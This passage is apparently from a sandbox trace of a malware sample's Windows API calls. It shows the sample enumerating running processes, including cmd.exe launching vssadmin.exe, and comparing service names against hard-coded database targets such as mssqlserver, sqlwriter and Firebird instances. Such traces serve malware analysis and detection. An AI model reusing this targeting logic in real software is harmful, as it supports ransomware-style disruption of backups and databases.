th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.722] lstrlenW (lpString="csrss.exe") returned 9 [0192.722] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0192.722] lstrlenW (lpString="winlogon.exe") returned 12 [0192.723] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0192.723] lstrlenW (lpString="services.exe") returned 12 [0192.723] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0192.723] lstrlenW (lpString="lsass.exe") returned 9 [0192.723] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0192.724] lstrlenW (lpString="lsm.exe") returned 7 [0192.724] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.724] lstrlenW (lpString="svchost.exe") returned 11 [0192.724] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.724] lstrlenW (lpString="svchost.exe") returned 11 [0192.724] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.725] lstrlenW (lpString="svchost.exe") returned 11 [0192.725] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.725] lstrlenW (lpString="svchost.exe") returned 11 [0192.725] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.726] lstrlenW (lpString="svchost.exe") returned 11 [0192.726] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0192.726] lstrlenW (lpString="audiodg.exe") returned 11 [0192.726] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.726] lstrlenW (lpString="svchost.exe") returned 11 [0192.726] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0192.727] lstrlenW (lpString="explorer.exe") returned 12 [0192.727] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0192.727] lstrlenW (lpString="dwm.exe") returned 7 [0192.727] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.727] lstrlenW (lpString="svchost.exe") returned 11 [0192.728] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0192.728] lstrlenW (lpString="n.exe") returned 5 [0192.728] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0192.728] lstrlenW (lpString="spoolsv.exe") returned 11 [0192.728] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.729] lstrlenW (lpString="svchost.exe") returned 11 [0192.729] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0192.729] lstrlenW (lpString="taskhost.exe") returned 12 [0192.729] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0192.729] lstrlenW (lpString="reader_sl.exe") returned 13 [0192.730] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0192.730] lstrlenW (lpString="n.exe") returned 5 [0192.730] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0192.730] lstrlenW (lpString="cmd.exe") returned 7 [0192.730] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0192.731] lstrlenW (lpString="conhost.exe") returned 11 [0192.731] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0192.731] lstrlenW (lpString="vssadmin.exe") returned 12 [0192.731] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0192.731] lstrlenW (lpString="VSSVC.exe") returned 9 [0192.731] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.732] lstrlenW (lpString="svchost.exe") returned 11 [0192.732] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0192.732] CloseHandle (hObject=0x218) returned 1 [0192.732] Sleep (dwMilliseconds=0x1f4) [0193.417] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0193.417] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0193.417] GetLastError () returned 0xea [0193.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12c6) returned 0x6b5c80 [0193.417] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x12c6, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0193.418] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0193.418] lstrlenW (lpString="Appinfo") returned 7 [0193.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0193.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0193.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0193.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0193.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0193.418] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0193.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0193.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0193.418] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0193.418] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0193.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0193.418] lstrlenW (lpString="AudioSrv") returned 8 [0193.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0193.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0193.419] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0193.419] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0193.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0193.419] lstrlenW (lpString="BFE") returned 3 [0193.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0193.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0193.419] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0193.419] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0193.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0193.419] lstrlenW (lpString="CryptSvc") returned 8 [0193.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0193.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0193.419] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0193.419] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0193.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0193.419] lstrlenW (lpString="CscService") returned 10 [0193.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0193.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0193.419] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0193.419] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0193.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0193.419] lstrlenW (lpString="DcomLaunch") returned 10 [0193.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0193.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0193.419] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0193.419] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0193.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0193.419] lstrlenW (lpString="Dhcp") returned 4 [0193.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0193.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0193.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0193.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0193.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0193.420] lstrlenW (lpString="Dnscache") returned 8 [0193.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0193.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0193.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0193.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0193.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0193.420] lstrlenW (lpString="DPS") returned 3 [0193.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0193.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0193.420] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0193.420] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0193.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0193.420] lstrlenW (lpString="eventlog") returned 8 [0193.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0193.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0193.420] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0193.420] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0193.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0193.420] lstrlenW (lpString="EventSystem") returned 11 [0193.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0193.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0193.420] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0193.420] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0193.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0193.420] lstrlenW (lpString="gpsvc") returned 5 [0193.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0193.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0193.421] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0193.421] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0193.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0193.421] lstrlenW (lpString="iphlpsvc") returned 8 [0193.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0193.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0193.421] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0193.421] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0193.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0193.421] lstrlenW (lpString="LanmanServer") returned 12 [0193.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0193.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0193.421] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0193.421] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0193.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0193.421] lstrlenW (lpString="LanmanWorkstation") returned 17 [0193.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0193.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0193.421] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0193.421] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0193.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0193.421] lstrlenW (lpString="lmhosts") returned 7 [0193.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0193.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0193.421] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0193.421] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0193.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0193.421] lstrlenW (lpString="MMCSS") returned 5 [0193.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0193.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0193.422] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0193.422] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0193.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0193.422] lstrlenW (lpString="MpsSvc") returned 6 [0193.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0193.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0193.422] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0193.422] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0193.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0193.422] lstrlenW (lpString="Netman") returned 6 [0193.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0193.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0193.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0193.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0193.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0193.422] lstrlenW (lpString="netprofm") returned 8 [0193.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0193.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0193.422] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0193.422] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0193.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0193.422] lstrlenW (lpString="NlaSvc") returned 6 [0193.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0193.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0193.422] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0193.422] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0193.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0193.422] lstrlenW (lpString="nsi") returned 3 [0193.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0193.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0193.422] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0193.422] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0193.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0193.423] lstrlenW (lpString="PcaSvc") returned 6 [0193.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0193.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0193.423] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0193.423] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0193.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0193.423] lstrlenW (lpString="PlugPlay") returned 8 [0193.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0193.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0193.423] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0193.423] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0193.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0193.423] lstrlenW (lpString="Power") returned 5 [0193.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0193.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0193.423] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0193.423] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0193.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0193.423] lstrlenW (lpString="ProfSvc") returned 7 [0193.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0193.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0193.423] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0193.423] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0193.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0193.423] lstrlenW (lpString="RpcEptMapper") returned 12 [0193.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0193.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0193.423] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0193.423] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0193.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0193.424] lstrlenW (lpString="RpcSs") returned 5 [0193.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0193.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0193.424] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0193.424] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0193.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0193.424] lstrlenW (lpString="SamSs") returned 5 [0193.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0193.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0193.424] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0193.424] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0193.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0193.424] lstrlenW (lpString="Schedule") returned 8 [0193.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0193.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0193.424] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0193.424] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0193.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0193.424] lstrlenW (lpString="SENS") returned 4 [0193.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0193.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0193.424] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0193.424] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0193.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0193.424] lstrlenW (lpString="ShellHWDetection") returned 16 [0193.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0193.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0193.424] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0193.424] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0193.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0193.425] lstrlenW (lpString="Spooler") returned 7 [0193.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 